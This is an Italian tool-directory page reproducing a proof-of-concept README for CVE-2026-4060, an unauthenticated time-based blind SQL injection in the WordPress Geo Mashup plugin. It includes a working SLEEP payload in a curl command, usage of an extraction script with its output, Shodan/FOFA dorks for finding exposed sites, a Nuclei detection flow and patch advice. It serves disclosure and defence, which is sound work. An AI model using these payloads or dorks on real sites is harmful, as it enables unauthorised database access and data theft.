Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-4060-PoC — Prova di concetto per CVE-2026-4060: SQL injection blind basata sul tempo non autenticata nel plugin WordPress Geo Mashup tramite la clausola ORDER BY. Include script di exploit, ambiente di laboratorio e template di rilevamento Nuclei. | Kitploit
Strumenti/GitHubGitHub/ydking0911/cve-2026-4060-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebCTFPenetration TestingApprendimento e Formazione
GitHubydking0911/cve-2026-4060-poc

CVE-2026-4060-PoC

Prova di concetto per CVE-2026-4060: SQL injection blind basata sul tempo non autenticata nel plugin WordPress Geo Mashup tramite la clausola ORDER BY. Include script di exploit, ambiente di laboratorio e template di rilevamento Nuclei.

Vedi Repository
3 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-4060 — Geo Mashup ≤ 1.13.18 Iniezione SQL Non Autenticata PoC

Severity CVSS Type Status

Attaccanti non autenticati possono iniettare SQL arbitrario nella clausola ORDER BY tramite il parametro sort dell'endpoint render-map di Geo Mashup, consentendo l'estrazione blind basata sul tempo di informazioni sensibili dal database.


Indice

  • Panoramica della vulnerabilità
  • Ambiente di test
  • Come eseguire
  • Risultati dei test
  • Mitigazione
  • Rilevamento
  • Cronologia
  • Riferimenti

Panoramica della vulnerabilità

Dettaglio tecnico

Il parametro sort accettato dall'endpoint render-map viene passato direttamente a una chiamata $wpdb->get_results() senza sanificazione:

root@kitploit:~
// render-map.php (semplificato)
$sort = $_GET['sort'];
$results = $wpdb->get_results(
    "SELECT ... FROM wp_geo_mashup_locations ... ORDER BY $sort"
);

Poiché $sort viene interpolato così com'è, un attaccante può iniettare una subquery nella clausola ORDER BY. La classe wpdb di WordPress esegue l'escape degli apostrofi, quindi il PoC usa ORD(SUBSTRING(...)) con confronti numerici per bypassare questa restrizione ed eseguire un'estrazione blind basata sul tempo.

Endpoint vulnerabile:

root@kitploit:~
GET /?geo_mashup_content=render-map&map_content=global&sort=<PAYLOAD>

Ambiente di test

Architettura del lab

root@kitploit:~
┌─────────────────────────────────┐
│  Host (localhost:8080)          │
│                                 │
│  ┌─────────────┐  ┌──────────┐  │
│  │ WordPress   │  │ MariaDB  │  │
│  │ 6.8.2+PHP82 │──│  11.4    │  │
│  │ :80         │  │ :3306    │  │
│  └─────────────┘  └──────────┘  │
│       + Geo Mashup 1.13.18      │
└─────────────────────────────────┘

Geo Mashup 1.13.18 attivo nell'amministrazione di WordPress:

Geo Mashup 1.13.18 active in WordPress admin


Come eseguire

1. Avvia il lab

root@kitploit:~
git clone https://github.com/ydking0911/CVE-2026-4060-PoC.git
cd CVE-2026-4060-PoC
bash setup.sh

setup.sh farà quanto segue:

  • Avvierà i container WordPress 6.8.2 + MariaDB 11.4
  • Installerà e attiverà Geo Mashup 1.13.18 (versione vulnerabile) tramite WP-CLI
  • Creerà un post con geo-tag in modo che l'endpoint della mappa restituisca una risposta valida

Al termine:

  • Sito: http://localhost:8080
  • Admin: http://localhost:8080/wp-admin (utente: admin / password: admin)

2. Conferma la vulnerabilità (iniezione SLEEP)

root@kitploit:~
time curl -s -o /dev/null \
  "http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"

Un ritardo nella risposta di ~8 secondi conferma l'iniezione SQL nella clausola ORDER BY.

3. Estrai i dati (PoC)

root@kitploit:~
# Predefinito — stampa solo i risultati estratti
python3 poc.py --url http://localhost:8080

# Verbose — mostra ogni payload, tempo di risposta e carattere estratto
python3 poc.py --url http://localhost:8080 --verbose

# Conferma solo la SQLi, salta l'estrazione dei dati
python3 poc.py --url http://localhost:8080 --confirm-only

4. Esegui il template di rilevamento Nuclei

root@kitploit:~
nuclei -t nuclei/CVE-2026-4060.yaml -u http://localhost:8080

5. Smantella il lab

root@kitploit:~
docker compose down -v

Risultati dei test

True Positive (TP) — Target vulnerabile

TP-1: Confermata iniezione ORDER BY SLEEP(8)

L'iniezione di una subquery SLEEP(8) tramite il parametro sort produce un ritardo di risposta di ~8 secondi.

root@kitploit:~
time curl -s -o /dev/null \
  "http://localhost:8080/?...&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"

SLEEP(8) via ORDER BY — 8.05s response

TP-2: Estrazione dei dati (modalità verbose)

Il PoC estrae i dati carattere per carattere usando confronti ORD(SUBSTRING(...)): invia il payload → misura il tempo di risposta → conferma il carattere quando SLEEP scatta.

root@kitploit:~
python3 poc.py --url http://localhost:8080 --verbose

poc.py verbose — payload, timing, extracted chars

Dati estratti:

QueryRisultato
VERSION()11.4.10-MariaDB
DATABASE()wordpress
USER()[email protected]

TP-3: Rilevamento tramite template Nuclei

root@kitploit:~
[CVE-2026-4060] [http] [high]
http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29

Scan completed in 8.07s. 1 matches found.

False Positive (FP) — Target non vulnerabile

Il template Nuclei usa un flusso in due fasi per prevenire falsi positivi.

FP-1: Geo Mashup non installato

Se readme.txt restituisce 404 nella Fase 1, la scansione termina immediatamente senza inviare il payload SQL.

root@kitploit:~
Scan completed in 62ms. 0 matches found.   ✅

FP-2: Versione corretta (≥ 1.13.19)

Controllo della versione del plugin tramite readme.txt:

readme.txt showing Stable tag: 1.13.18

Se compare_versions(version, '<= 1.13.18') fallisce, la Fase 2 viene saltata del tutto.

root@kitploit:~
Scan completed in 19ms. 0 matches found.   ✅

Mitigazione

AzioneDettaglio
AggiornamentoAggiornare Geo Mashup alla versione 1.13.19 o successiva
TemporaneaDisattivare il plugin fino all'applicazione dell'aggiornamento

Commit della patch: plugins.trac.wordpress.org/changeset/3503627


Rilevamento

Template Nuclei: nuclei/CVE-2026-4060.yaml

Flusso di rilevamento:

root@kitploit:~
Fase 1: GET /wp-content/plugins/geo-mashup/readme.txt
        → conferma che il plugin esista + versione <= 1.13.18

Fase 2: GET /?geo_mashup_content=render-map&...&sort=SLEEP(8)
        → status 200 + GeoMashup.createMap + durata >= 8s

Shodan / FOFA:

root@kitploit:~
Shodan: http.html:"geo-mashup"
FOFA:   body="geo-mashup"

Cronologia

DataEvento
2026-04Vulnerabilità scoperta
2026-04Segnalata all'autore del plugin
2026-05Rilasciata la patch Geo Mashup 1.13.19
2026-05-14CVE assegnato e divulgato pubblicamente

Riferimenti

  • NVD — CVE-2026-4060
  • Wordfence Advisory
  • Plugin Changeset (fix)
  • CWE-89

Disclaimer

Questo repository è destinato esclusivamente a scopi educativi e di test di sicurezza autorizzati.
Non utilizzarlo contro sistemi di cui non si possiede la proprietà o per i quali non si dispone di esplicita autorizzazione scritta.
L'autore non è responsabile di qualsiasi uso improprio di questo materiale.

Scarica lo strumento
CampoDettaglio
CVECVE-2026-4060
PluginGeo Mashup di cyberhobo
Versioni affette≤ 1.13.18
Corretta in1.13.19
CVSS v3.17.5 (Alta) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWECWE-89 — Neutralizzazione impropria di elementi speciali in SQL
Autenticazione richiestaNessuna (Non autenticato)
ComponenteVersione
OSmacOS (Darwin 25.4.0)
Docker27.x
WordPress6.8.2 (PHP 8.2, Apache)
MariaDB11.4
Geo Mashup1.13.18 (vulnerabile)
Python3.x (per poc.py)
Nucleiv3.8.0
WAFBloccare i pattern di iniezione di subquery nelle clausole ORDER BY